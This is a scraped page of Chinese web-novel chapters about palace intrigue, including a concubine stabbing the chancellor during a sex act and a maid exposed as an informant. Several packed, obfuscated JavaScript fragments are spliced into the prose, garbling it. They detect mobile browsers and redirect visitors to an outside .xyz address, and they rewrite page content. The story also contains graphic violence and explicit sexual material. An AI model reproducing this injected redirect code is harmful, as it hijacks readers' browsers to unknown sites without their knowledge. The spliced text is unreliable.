0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789323|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这一掌如果拍中,以他的身板绝对会半身不遂。 可就在这个时候,不知道什么东西爆裂开来,升起一阵迷雾。 一把锋利无比的匕首自雾中探出来,直取慕容无舌的手腕。 “呵,雕虫小技。” 慕容无舌不屑冷笑,手型一转,反手抓住那人的手腕。 那人大惊失色,想要挣开,却发现哪知枯槁的手犹如虎钳一般,根本无法挣脱! “啊!!”那人奋力挣扎,但慕容无舌连看都没看,直接一掌拍在那人天灵盖上。 砰—— “哇呀!” 一名天道杀手立刻气绝身亡。 杀了一人,慕容无舌这才稳稳落地,看到顾南山在前面踉跄逃跑,而城防卫的士兵已经与数名天道杀手打了起来。 慕容无舌不管他们,身形直接朝顾南山而去。 然而天道这次是下了血本的,街边两侧的民房之上瞬间蹦出四名女子。 他们穿着花花绿绿,每个人的头顶都绑着一枚与雷影仙子同样的蝴蝶发饰,很是好看。 但令人惊奇的是,他们美眸间都有对慕容无舌的狠戾与杀意。 “姐妹们,就是他伤了雷影妹妹!” “干掉他!” “上!” “呵,一群胭脂俗粉,也妄想挑战杂家。”慕容无舌冷笑。 他连兵器都不用,因为他的手就是他最强大的兵器。 只见四名女子全力冲来,慕容无舌看似苍老的身躯却十分灵巧,几个转身间,便一拳轰在其中一女子的小腹。 砰—— “啊!” 一声惨叫传来,那女子倒飞出去,将一间酒馆的大门砸碎。 同时慕容无舌连番出招,凭一己之力,打得三女节节败退,香汗淋漓。 就在他再次一拳将其中一名女子打飞之后,突然浑身汗毛直立,整个人变得毛骨悚然! 他几乎是下意识的躲身。 紧接着,一支银色的箭矢便插在地上。 好险好险。 就连慕容无舌这种顶级高手也被这一剑吓得头皮发麻,他回头望去,就见不远处的房顶上半蹲着一名女子。 那女子手持一张巨弓,目光清冷,长发飘飘。 不是射雕手海棠又是何人? 见慕容无舌躲开了她惊天动地的一箭,海棠不由的“咦”了一声,旋即赶紧掉头逃跑。 她的强项是射箭而不是近身搏斗。 如果被慕容无舌近身,那将必死无疑。 但这一箭明显给了剩下的两女喘息之机,她们立刻抱起受伤的同伴,几步之内便消失在大街上。 而此刻,哪还有顾南山的影子? 慕容无舌愤恨地一咬牙。 “倒灶的玩意,我倒要看看你能跑到哪里去。” 第191章 美人,速速更衣, 顾府。 好像只要提起顾府就代表着奢华、辉煌。 然而最近这段时间发生了太多的事情让本来无比华丽的府邸抹上一层淡淡的阴郁。 还是顾北辰的房间。 经过两天的休整他好了许多如果不被顾云霆烫那一下估计现在已经结痂了。 此时小厮进来汇报林臻的事情。 顾北辰听后瞪大双眼! “你说什么?林臻带着兵包围了喇嘛庙?” “是。” 我的妈呀。 这是顾北辰最近听到的最劲爆的新闻了。 当初王胖子砸了喇嘛庙把人家弥勒佛搬回来给赌场当门童结果皇帝被贬谪到玄菟去当冰棍。 如今林臻直接带兵包围喇嘛庙这还不得把皇帝气死? 顾云霆沉声道:“消息准确吗?” “消息准确听说林臻是去喇嘛庙拿人的。” 顾云霆坐在床边表情凝重地看向儿子。 “难道顾南山在喇嘛庙里?” “极有可能。”顾北辰同样脸色沉重。 “林臻明显已经疯了只要能杀顾南山他不惜任何代价看来这件事情绝非他说的那么简单!顾南山肯定还做了别的事情!而且这件事情对林臻的伤害极大!” 顾云霆问道:“那我们应该怎么做?” “呵。”顾北辰冷笑“狗咬狗一嘴毛。我们才不要去做什么呢这个时候谁敢插手谁就会成为林臻的死敌我们顾家再也经不起任何风浪了所以还是安安静静等消息吧。” 言罢顾北辰问道:“父亲我们产业运转的如何了?” 京中包括各地的产业是顾家东山再起的最大资本 却听顾云霆叹了口气。 “唉京中产业才刚开始运赵大宝就被林臻抓了主管这件事情的顾南山估计也活不过今天了。儿啊你手里还有没有合适的人?我们得尽快把产业都运出去否则到了南楚我们吃什么喝什么?” “呵呵呵。”顾北辰露出一丝无奈的苦笑。 他看向顾云霆神情暮然“爹你觉得我们还能去南楚吗?” “什么意思?” “林臻已经知道了我们的计划这是抄家灭族的大罪。而他之所以没有动手肯定是想通过陛下的手来除掉我们这样他才不会被人诟病。我们恐怕已经没有去南楚的机会了。” “那怎么办?难道我们就在家里等死?” “等死是不可能的但产业肯定是运不出去了林臻不会允许我们把任何钱财送到南楚的。眼下我们只有偷偷的将地方上的产业变卖积累现银运到南楚的商号里然后再想办法脱身。” 顾云霆还有有些心疼。 毕竟京中是他们顾家产业的中心何止数千数万两? “那我们在京城的产业怎么办?难道就全便宜了别人?” “产业能卖就卖卖不出去就贱卖然后让人把钱都运出去。只要我们还活着就有机会东山再起如果死了钱再多又有什么用?” “说的也是前些日子赌场的张俪想收购和赌场关联的几家商铺是我发了话不许出卖的现在看来不卖也得卖了。唉到底还是便宜了林臻也罢但是.儿啊我们怎么出去啊?” 现在最头疼的问题就是怎么才能离开京城。 顾北辰和顾云霆都很清楚林臻在得知这件事情后会将京城戒严各个城门画影图形严加排查自己想混出去是绝对没有可能的。 若是平时城门口的那些守卫绝对不敢拦截当朝丞相甚至还要点头哈腰的赔笑脸。 但现在丞相家势微他们都恨不得上来踩两脚。 倒不是说他们与顾家有什么矛盾只是单纯的看官员落马比较开心而已。 父子俩陷入一阵沉默。 良久顾北辰脑海中突然惊起一道光芒。 “有了!” 顾云霆喜出望外:“快说!~” “我们可以让皇帝将我们贬谪出京城。” “啊?你的意思是让陛下把我的丞相废了?” 顾北辰冷笑道:“你这丞相有没有已经没什么区别了不如早废了干净!我们也好趁机逃出去!” 辛苦打拼半生最后却落的这么个结局顾云霆岂能甘心? 顾北辰也知道他心里是怎么想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789324|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的于是说道:“父亲 顾云霆也明白眼下确实没有更好的办法了只能先保住命再说。 他颓然的再次叹气:“唉罢了我这就换衣服进宫去见陛下但愿林臻能给我们这条活路吧。” 活路么? 顾北辰咀嚼着这三个字。 在他看来这条活路同样很难得到。 顾云霆刚要起身就见又有小厮跑了进来。 “老爷喇嘛 庙传来消息,林臻带兵砸破了庙门,杀了很多武僧,已经将顾南山逼在了禅房里。” “什么?陛下就没管吗?” “据说慕容无舌就在林臻身边,可能是陛下授意的吧。” 啊. 顾云霆张大了嘴。 难道说林臻已经被宠爱到这个地步,连打砸皇家寺庙,杀害无辜和尚,皇帝都不管? 什么好人能下得去手杀和尚啊! 这林臻莫不是真的疯了? 他忍不住喃喃道:“这什么仇什么怨啊,让林臻疯狂到这个地步!” 顾北辰冷笑道:“呵,不管什么仇怨,顾南山肯定是捅了天大的篓子!现在即便是皇帝也保不了他了,父亲,你速速进宫,趁着林臻还没进去之前,立刻请求去地方。” “嗯!”顾云霆重重点头,起身回到自己卧房。 李蕊依旧在这里,她好像从来没有离开过。 她望着窗外的翠柳,随风飘荡,来来回回摇曳在光影之下。 手里那张纸条已经被她攥的不成样子,最后她索性直接丢出窗外。 就在这时,顾云霆走了进来。 她回眸看去,笑意盈盈的起身,躬身作揖,态度十分谦卑。 “老爷~” 顾云霆就喜欢她这个样子。 床上骚浪,平时端庄。 “美人啊,速速为老夫更衣,老夫要进宫去见陛下。” “是。” 李蕊的声音温柔,然眼神却十分冷冽,透露着寒芒。 她转身从柜子里取出朝服。 顾云霆张开双臂等待,全然不知危险来临。 第192章 顾云霆之死 李蕊细心地将他的衣物一件件脱掉,然后蹲下身,妩媚的表情笑着说:“老爷要不要先释放一下,省得在陛下那里再有什么压力。” 有道理。 现在把压力释放掉,等下才能更稳妥沉着地面对皇帝。 于是顾云霆长舒口气:“呼,也好,但你要速度快些。” “老爷别硬守着就好~” 温热的感觉传来,顾云霆闭上眼睛,静静享受着。 他很开心能拥有这样的小妾。 不像其他几个,活也不好,也不尽心尽力伺候自己,还时常嫉妒拌嘴。 最重要的是,她们总是欲求不满,满脸抱怨。 还是我们家蕊蕊最好了,又乖巧又听话,懂得心疼人。 只要是自己的要求,她没有不答应的,就连庭后都是畅通无阻,从不拒绝。 这次如果能逃脱大难,必须要把她也带到南楚去。 她值得我好好照顾! 嘶.嗷呜! 他奶奶的,真带劲。 顾云霆翻起白眼,浑身轻松,笑呵呵的要去抚摸李蕊的脑袋,谁知道就在此时,自己脖子突然传来闷响。 噗—— “唔!!” 就在顾云霆无限畅想的时候,他突然感觉脖子一疼,紧接着就看见蹲在自己面前的李蕊的那张因怨毒而扭曲的脸。 她手里攥着一把十分小巧的匕首,但打磨得非常锋利,扎进顾云霆的脖子里时就和扎进豆腐里没有区别! 顾云霆懵了,他后退两步,咣当一声摔在地上,碰到一片茶盏茶壶。双手捂着脖子说不出来一句话,更发不出任何声音,只能听到血液像喷泉似的,滴滴答答地落在地上。 李蕊站起身,往日眼睛里的爱意全无,只有报仇后的畅快和快感。 “老东西,你也有今天!” 顾云霆满脸不解。 他不明白,为什么自己对她这么好,她还要杀自己呢? 难道她说爱我,都是假的吗? 李蕊走到他面前,蹲下身,阴狠地说道:“你还记不记得天元三年,你因为想占地开酒楼,而将不愿意搬家的一家四口无辜杀害?” “嗯?”李蕊扬了扬下巴。 “没错,我就是当年那个不会哭的女孩。” “我眼睁睁看着白袍义从杀了我全家,然后又把我卖到了人伢子里。” “人算不如天算啊,顾云霆,你想不到吧?我被李华买走了,成为了她的闺女。哦!对了,你都不知道李华是 谁吧?呵他是跟着赵大宝做陶瓷生意的掌柜。” “从那一刻起我毕生的夙愿就是能亲手宰了你这个混蛋!”言罢李蕊又狠狠扎在顾云霆两腿之间不过显然顾云霆已经感觉不到疼了。 早在她说话的时候顾云霆就已经躺在了血泊之中 但李蕊显然不打算就这么放过他手中的匕首还一次次扎在他要害处。 “让你欺负我!让你欺负我!你这个恶魔!” “干什么呢!” 门外小厮终于听到动静跑了进来看到顾云霆浑身上下像个血人似的躺在那里顿时大惊。 “啊!!” “老爷!” “李蕊你为什么要杀了老爷?” 李蕊站起来看着他们露出一丝凄美的笑容。 这一刻她不再是委身伺候顾云霆的小妾。 而是个复仇后净化了心灵的普通女子。 她干净无比。 “你们这群腌臜的东西别想碰我!” “我们地府见!” “拦住她她杀了老爷!” 噗—— 来不及了李蕊决绝地抡起匕首狠狠扎在自己脖子上旋即倒了下去。 “我早就想下去.见我的家人了。” 二狗被清远大师强行喂了些汤药之后又沉沉的睡了过去。 林臻担心老和尚不保险于是让侯春去把孙之推请过来。 老孙闻言是世子相请立刻放下手里的病人做马车赶了过来。 此时禅房内孙之推先是给清远大师见了礼后者回应一声佛号寒暄两句。 可见两人之前就认识而且关系还不错。 随即老孙看了看二狗的伤眉头皱得很深沉声对林臻说道。 “世子恕老朽直言这位小兄弟能撑到现在已经是奇迹了但究竟能不能捱过这一遭老朽没有十足的把握。” 这也就是古代医疗条件差。 若是在后世这种没有贯穿的箭伤只要消毒、止血缝合就OK了。 大不了再吃半个月头孢保证别发炎即可。 唉。 不过能得到现在这样的结果已经是命运的眷顾不能奢求 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789325|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太多。 林臻作揖道:“多谢孙老神仙出手相救。” “世子言重了老朽这就给他开方子每天按方喝药可以补血养神。” “多谢。” 孙之推写下了药方侯春亲自去 抓药,忙前忙后,任劳任怨。 他已经知道二狗背叛了组织。 但二狗并没有对组织造成什么实际影响,况且他也是个被顾南山利用的可怜人。 所以他并不讨厌二狗。 相反,他还有种惺惺相惜的感觉。 林臻也没有怪二狗。 不是圣母。 而是在古代以仁孝治天下的大体系下,二狗没有听父亲的话杀掉自己,这就已经实属不易了。 在忠孝两难全的情况下,他选择了死亡。 选择了用自己的生命来报答林臻的知遇之恩,用自己的性命来报答顾南山的养育之恩。 他是个有种的汉子。 林臻没看错人。 大家都在等二狗醒来,禅房内乌央乌央挤满了人,汗味、血味、口臭交织在一起。 这能养病就怪了。 林臻没好气地把所有人都撵了出去。 这时,慕容无舌走了回来,两手空空,表情尴尬地直嘬后槽牙。 林臻有些愣神。 难道说以慕容无舌的能力,都抓不回来顾南山? “无舌先生。” 慕容无舌惭愧地拱手:“世子,老奴无能,没能抓到顾南山那逆贼。” “为什么会这样?” “天道十二仙中的四位悉数出动,又有射雕手暗中埋伏,其余外围子弟在街上与城防卫周旋,老奴不小心中计,没能抓到顾南山,让他跑了。但是现在各处画影图形,顾南山肯定出不了京城。” 林臻立刻命令道:“黄鼠!” “在!” “立刻命令城防卫,兵马司,巡逻营所有将士,继续在京城内搜捕顾南山。宁可杀错,绝不放过!” “是!” 黄鼠领命出去了,林臻看了看沉睡的二狗,心情十分沉重。 慕容无舌动了动嘴。 但终究还是把话咽了下去,却没想到林臻很识趣地说道。 “无舌先生,我们进宫吧。” 慕容无舌赶紧行了一礼:“多谢世子!” 第193章 林臻,朕等的好心急呀。 林臻与慕容无舌匆匆赶往皇宫与此同时议政殿。 慕容嫣站在偌大的大殿中心来回踱步。 谁都能看出她心情不好所以不管是宫女还是太监都不敢大声喘气只规规矩矩地站在一边生怕触怒了她。 本来慕容嫣今天就因为群臣催促圆房的事情着急。 唉也不知道这些臣子都怎么想的? 我一个当皇帝的圆不圆房跟你们有什么关系? 一个个劲劲儿的不知道还以为你们要洞房呢。 张嘴闭嘴龙子龙孙我明明才二十一岁!且得活着呢这么着急干什么! 慕容嫣心里把这群大臣通通骂了一遍然后又开始担心起来。 林臻已经带兵去了喇嘛庙抓顾南山。 要知道喇嘛庙是皇家庙宇历史悠久 林臻就这么堂而皇之地带兵包围若是能顺利拿到顾南山还好起码有个借口。 若抓不到群臣肯定会有意见届时弹劾的奏折会铺天盖地堆满整个议政殿。 林臻当然不会因为奏折而受到什么影响可慕容嫣心里烦啊! 那么多的奏折看又看不过来不看又不行。 万一错过什么重要的事情魏涛他们几个言官又该絮絮叨叨的了。 唉林臻啊你快些回来吧。 朕等的好心急呀。 慕容嫣望眼欲穿地看着殿门外面。 空空荡荡。 除了红墙黄瓦与满地砖石别无一物。 终于阳光掠过了金銮殿的屋檐洒在龙桥上两个身影一佝偻一挺胸款款而来。 慕容嫣再也顾不上皇帝的矜持与沉稳快步来到殿外。 就见林臻和慕容无舌同时阴沉着脸走上石阶。 “林臻!”她焦急喊道。 林臻来到慕容嫣面前拱手作揖。 “参见陛下。” “林臻可抓到顾南山了?” 林臻摇了摇头。 慕容无舌也紧跟着跪倒在地:“陛下老奴无能让顾南山跑了不过他此刻还在京城里世子已经下令全城搜捕想来不日便能抓获。” “具体怎么回事?顾南山怎么会和拜火教联系起来?你又是怎么知道他躲在喇嘛庙里的?” 林臻把顾南山的所作所为包括与拜火教的勾结转移顾家财产坑骗刘翰阳的事情一股脑都说了出来。 然后又交代了喇嘛庙里发生 的事情。 当林臻咬牙切齿说到二狗的时候,慕容嫣气得直跺脚。 “这个人渣!居然敢助纣为虐。”慕容嫣气的胸脯不断起伏,她看着林臻:“你就不该救他!” 慕容嫣哪里知道林臻与二狗的感情,故有此说。 林臻叹息着摇摇头,没怎么在意。 倒是慕容嫣怒火未消,攥起粉拳说道:“顾家也是昏聩,居然养出顾南山这样狼子野心的奴才,背着主子坑害国家!哼,让朕抓到你,非要将你凌迟处死不可!” 其实看慕容嫣发脾气挺有意思的。 倒不是说有多好看,而是他化了男妆,生气撇嘴的时候嘴巴上的胡子来回乱颤。 但显然林臻此刻没什么心情,他问道:“陛下,这么着急召臣来,究竟是什么事情?” 慕容嫣也想起正事,点点头。 “唔,你跟朕进来。” 慕容嫣带头走进议政殿,一挥手,所有太监宫女都识趣地出去了。 林臻听得很清晰,大殿内传来很多松了口气的声音。 慕容无舌本想跟着进去,结果被慕容嫣一个眼神瞪了回去。 看来这件事情慕容嫣是连他也不打算告诉了。 恢宏浩瀚的议政殿内只有林臻、慕容嫣以及站在屏风边缘的嬛嬛。 慕容嫣坐回龙椅上,心里琢磨着这件事情应该如何开口。 她不确定林臻是否知道了她的真实性别,更不确定如果林臻知道了她是女儿身,又会发生什么。 想来想去,想了半天,也没有合适的说辞,于是她只好转而问道:“拜火教的事情查得怎么样了?” 林臻还是站在她身边,脸上没有任何情绪。 “微臣基本已经锁定了拜火教总部所在,就在河间郡。目前金吾卫、左吾卫、右吾卫,三路大军已经分批次进行包抄, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789326|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 另外民间拜火教成员也在微臣的监控之下,只等时机成熟,一鼓作气,将其斩草除根。” “唔。”慕容嫣点点头,单手撑着美鬓看他:“有你在,朕很放心。” 这眼神好暧昧啊。 林臻不自觉地把脸瞥向一边,好像故意不给她看似的。 然慕容嫣就这么盯着他,嘴角带着复杂的笑意。 不知道为什么,她越看越觉得林臻俊朗帅气,浑身散发着好闻的味道。 可是好看又有什么用呢? 心中的问题,她始终不敢提出来。 可是如果再不圆房,百官一定会心生疑惑,届时难以收场。 就在林臻刻意躲避慕容嫣目光的时候,嬛嬛斜着眼睛看了看他们俩,随后趁他俩不注意绕过屏风,来到大殿后门。 她推开门,挥挥手喊过来一个小太监。 小太监忙趋步过来:“嬛嬛姐。” “嗯,你速速去告诉顾相,就说林臻又进宫了,正在和陛下交谈。” “是。” “诶!等等,记住了,是林臻单独和陛下交谈,让顾相快些想办法,最好带着顾院判一起进宫来。” “是。” 小太监立刻走开了。 嬛嬛关上殿门,往前殿的方向看了看,拍了拍小鹿乱撞的胸膛。 “呼北辰,你可一定要来呀!” “人家好久没见到你了呢。” 林臻和慕容嫣都在前殿,谁也没注意到嬛嬛的小动作。 而且他俩谁也想不到嬛嬛会成为宫廷内鬼,会给顾家通风报信。 但他们俩没注意到,不代表别人也没注意到。 慕容无舌因为不让进大殿,正站在外面嘬牙花子呢。 早上吃的韭菜末被他从大黄牙上舔下来,吐出去老远。 突然,殿外一个小太监行色匆匆地往外走,他张口便喊。 “站住!” 小太监吓得浑身一哆嗦,忙停住脚步。 慕容无舌倒是也没多想,他只是无聊,于是走过去问道。 “鬼鬼祟祟地干什么去?” 第194章 陛下!十万火急的大事! 小太监吓坏了。 这宫里人给外面人报信,本来就是死罪。 他只希望慕容无舌是随便问问。 可即便如此,汗珠子依旧控制不住的顺着鬓角滴落下来。 “额小的,小的要去茅房。 “去茅房? 慕容无舌的岁数比林震仙还大呢,又伺候了三位皇帝,察言观色的本事整个大乾除了他没人敢说第一。 见小太监那紧张兮兮,说话不伶俐的样子就知道他就猜到,肯定有猫腻。 “去茅房至于冒汗吗? “这这不是天气热嘛,请公公恕罪。 “啪! 慕容无舌一个大嘴巴就抽了上去。 “小东西,连我都敢骗? “公公!小太监啪叽就跪了下去,连连磕头:“小的知错了!都是嬛嬛姐让小的干的!和小的没关系啊! “嬛嬛? 正所谓皇帝身边的太监比巡抚大。 嬛嬛与皇帝关系匪浅,这是大家有目共睹的。 在皇宫里,基本所有人都对她尊敬有加,不敢造次,甚至就连慕容无舌也不会多嘴管教。 同样的,虽然没有多嘴管教,但慕容无舌也从来没有怀疑过她。 如今听到这个名字,不仅让他老眉倒竖! “说!到底怎么回事! “嬛嬛姐姐让小的去通知顾相,说林臻进宫了。 “混账!你若再敢说谎,老夫扒了你的皮! 小太监把头磕得砰砰直响。 “公公明鉴啊!小的不敢说谎!真的是嬛嬛姐让小的去干的,而且之前几次顾相对皇宫的事情了如指掌,也是嬛嬛姐找人去报信的。 慕容无舌立刻回头看向议政殿。 坏了! 陛下连自己都不信任,却唯独把嬛嬛留在身边。 万一陛下和林臻说点什么秘密,那顾云霆不是全知道了吗? 这个该死的宫女! 真是不知道深浅。 “你立刻回到你的位置上,不许声张,否则别怪老夫无情! “是! 小太监吓得直尿裤子,连忙跑了。 慕容无舌也顾不上会不会惹慕容嫣不开心了,立刻躬身走进议政殿。 慕容嫣刚要说晚上圆房的事情,就看见他走进来,不喜的道:“有事? “陛下!十万火急的大事! “说。 慕容无舌看了看嬛嬛,走 到慕容嫣身边,在她耳边低语几句。 慕容嫣满脸震惊,瞳孔巨震。 她难以置信的看向嬛嬛,喃喃道:“竟然是你。 嬛嬛还不知道发生了什么事情,神情顿时一愣。 迷茫的看了看林臻,又看了看慕容无舌,最后竟沉默无言。 林臻虽然没听到慕容无舌说什么,但用屁股想猜到了! 没有事情是能让慕容嫣把矛头指向嬛嬛的,除非. 砰—— “贱婢! 慕容嫣气得一巴掌拍在龙案上。 嬛嬛见她是真生气了,赶紧来到她身边跪下。 林臻还很贴心的迈开一步,给她腾地方。 “陛下!奴婢到底做错了什么事情呀! “还敢狡辩!慕容嫣气得眼睛都红了,也不知道是热泪还是充血,她指着嬛嬛脑门问道,“朕问你,是不是你向顾家通风报信的? “啊 陛下知道了. 嬛嬛瞬间吓得面无血色,跪在地上的较小身体不停颤抖。 “陛下.奴婢奴婢知错了. “知错?哈哈哈哈哈!慕容嫣怒极反笑,“朕万万没想到啊,从小与朕一起长大的好姐妹,竟然是顾家的内鬼! 好姐妹! 林臻斜着眼睛看向她,同时慕容无舌也觉得自己听到了什么惊天大秘密! 陛下是女的? 真是女的啊? 我就说她怎么从来不让我进她的寝宫呢! 原来是这样! 以前慕容无舌就觉得慕容嫣很脸熟,很像先帝以前的公主。 但曾经那位公主不受宠爱,只住在很偏僻的宫殿,平时也不没怎么露面。 后来先帝亲自把他召见到身边,指着穿着男装的慕容嫣说这是九皇子,以后让他继位,从那一刻起,慕容无舌就确定了眼前的皇帝就是慕容复。 好家伙。 先帝好一手瞒天过海啊。 连老奴都骗过去了。 此时慕容嫣还没觉得自己失言,她站起身,一脚踹在嬛嬛脸上:“为什么!你告诉朕到底为什么! “陛下.呜呜呜呜奴婢真的知错了陛下,奴婢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789327|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是一时鬼迷心窍,但绝没有害过陛下啊! “你把皇帝的事情偷偷告诉臣子,这还不是坑害?嬛嬛,朕如此宠爱你、器重你,多年来更是把你当成最好的姐妹,寝同床,食同席,就连你喜欢的东西,朕也无有不允,你到底为什么要背叛朕! “陛 下!”嬛嬛已经哭成了泪人。 慕容嫣亦有泪水在眼眶中打转。 “陛下,奴婢只是想借机看到顾院判,并没有其他想法.” “顾院判顾院判,你满脑子都是顾院判,好啊!既然你这么喜欢他,朕立刻就将你嫁过去!三天之内生不出孩子来,满门抄斩!” 本来前半句话嬛嬛听了还挺高兴,不知道自己这算不算是因祸得福。 然而后半句话直接让她心如死灰! 什么女人三天就能生出孩子来啊! 蟑螂最少也得怀七天啊。 不仅是他,林臻听了这句话也忍俊不禁。 你想杀嬛嬛就是杀呗,搞这种理由干什么。 嬛嬛痛哭着抓住慕容嫣的脚踝。 “陛下开恩啊陛下!奴婢真是一时糊涂!奴婢保证,以后再也不会做这样的事情了!呜呜呜呜.” 慕容嫣一脚将她踢开。 “滚开!不要脏了朕的脚!” “呜呜呜姐姐姐姐饶命啊.”情急之下嬛嬛居然叫出了姐姐。 她以为慕容嫣会看在这句姐姐的份上绕过她,殊不知慕容嫣自己说姐妹的时候倒没什么感觉。 可是嬛嬛叫她姐姐,让她立刻反应过来。 站起身,又是一脚踹在她脸上。 “你叫朕什么!” 言罢慕容嫣极其心虚的看了看林臻。 又看了看慕容无舌。 然此刻她们俩都眼观鼻鼻观口,如老僧入定似的。 慕容嫣知道身份的秘密保不住了,幸好现在没有外人。 她愤怒的对慕容无舌说道:“无舌,将这个贱婢押入草房,好好冷静冷静!” “遵旨。” “陛下!给奴婢个机会吧!陛下” 慕容嫣坐回龙椅,束胸早就崩开了,此时鼓鼓的很是好看。 林臻想开口说话,却又不知道说些什么。 恰在此时,有小太监走了进来。 “陛下!顾相薨了!” 第195章 宇文成都:去后面排队! 别说慕容嫣就连林臻脑袋都嗡的一下顿时感觉天旋地转! 顾云霆死了? 这个在原书中活了一百多岁的人怎么突然就死了? 慕容嫣良久都没有在这个犹如晴天霹雳的消息中回过神来林臻则是对小太监说道。 “到底发生什么事情你一五一十地说来!” 太监禀报说:“世子爷。刚刚顾院判派人来宫里报丧说顾相被他的小妾用匕首划破脖颈失血过多而死。而那名小妾现已畏罪自杀。” 林臻闻言更是把眼睛瞪得老大。 “被小妾杀了?他小妾为什么杀他?再说顾云霆虽然不会武功但也是个健全的男人怎么会轻易被一个贱妾给杀了呢?” “这个顾院判并没有说。只说现在顾府里乱作一团里里外外都在忙活顾相身后之事。” 林臻还是有些难以置信。 堂堂国之宰相一品大员更是备受先帝宠爱的近臣如今竟然被自己的小妾杀了。 这都不是离谱了而是荒诞! 传出去都没人信的。 慕容嫣目光呆愣愣地看着小太监头也不回的对林臻说道。 “林臻你怎么看?” 林臻思来想后也想不出原因。 只好逐渐分析:“回陛下。顾北辰是绝对不会杀顾云霆的他不是那个性格 说到这林臻突然想到一个人! 顾南山。 敢利用这种手段干掉当朝丞相的除了他别人没这个胆子。 而且瞧这架势顾南山也应该是狗急跳墙别无他法了才会出此下策。 “陛下微臣认为应该是顾南山。” 慕容嫣听后气得猛敲坐垫同时也敲得胸前柔软上下微颤。 “又是顾南山!这个人怎么就这么厉害居然能操控小妾杀害宰相!” “顾南山为达目的不择手段这个小妾应该是他早就培养好的死士其目的就是为了有朝一日杀了顾云霆。” “可是他为什么要杀害顾云霆!他不是顾府的大管家吗?” 慕容嫣到现在还记得她去顾家吃饭的时候就是这个老管家礼仪得当安排妥帖当时还当着顾云霆的面夸了他几句。 谁知道这才几天的功夫就开始杀人了。 林臻沉着地道:“因为他需要制造混乱。” “什么混乱?” “现在全城戒严各处画影图形缉拿顾南山。他想出去就必须要趁乱浑水摸鱼。所以我认为他应该是打算趁顾云霆出殡之日混在送葬队伍当中逃离京城。” 林臻思维敏捷反应极快。 几乎是瞬间就猜到顾南山的想法。 慕容嫣看向他:“那你说我们该怎么办?” “什么都不办就等顾云霆出殡。只要送葬队伍离开城门 “唔有道理!”慕容嫣眼睛一亮欣赏地看向林臻:“不愧是朕的智囊。” “额”林臻摸了摸鼻子。 我什么时候成你智囊了? 臭不要脸。 顾云霆这边打棺椁、下葬还需要一些时间所以我们暂且来说说喇嘛庙这里的情况。 可能谁也想到像喇嘛庙这样的圣洁之地居然也能有施加酷刑的地方。 没错这个地方就在喇嘛庙的西北方向是一座独立出去的寺院。 清远大师说这里是大昭寺也是专门用来镇压邪魔外道的地方。 大昭寺只有一道通往喇嘛庙的门门口有两尊凶神恶煞的妖兽镇守并且从不对外开放。 据传说藏区曾被视为有一座躺着的魔刹女为防止其为祸人间文成公主与松赞干布在魔刹女四肢的关键节点修建了12座镇魔古寺还在她的心脏位置修建了大昭寺以此镇住魔刹女。 当然了这个世界是没有文成公主的。 但却有大昭寺。 想来佛教应该本来就有这个地方因为不想被人诟病所以借人的幌子来将其神话。 大昭寺自从建造起来后只使用过一次那就是两百年前的太子造反案的主角。 可怜的太子被挂在大昭寺的行刑台上只给水不给饭活活饿死。 侯春等一众莽夫抓着雷影仙子呼呼啦啦冲进大昭寺像鬼子进村似的。 进了殿门便二话不说先把二百年前已经风干的太子尸体摘下来扔到一边。 啪—— 哗啦啦一下。 慕容嫣不知道那辈子的二太爷就被摔个稀碎。 随即侯春、黄鼠一起利用铁链将雷影仙子的四肢全部锁好整个人成大字型被摆在那里。 先前因为受了慕容无舌一掌雷影仙子此刻脸色惨白气息微弱。 雪白的天鹅颈与血液交织美轮美奂;胸前黑色的衣襟被鲜血浸透透露着诡异 的深紫色。 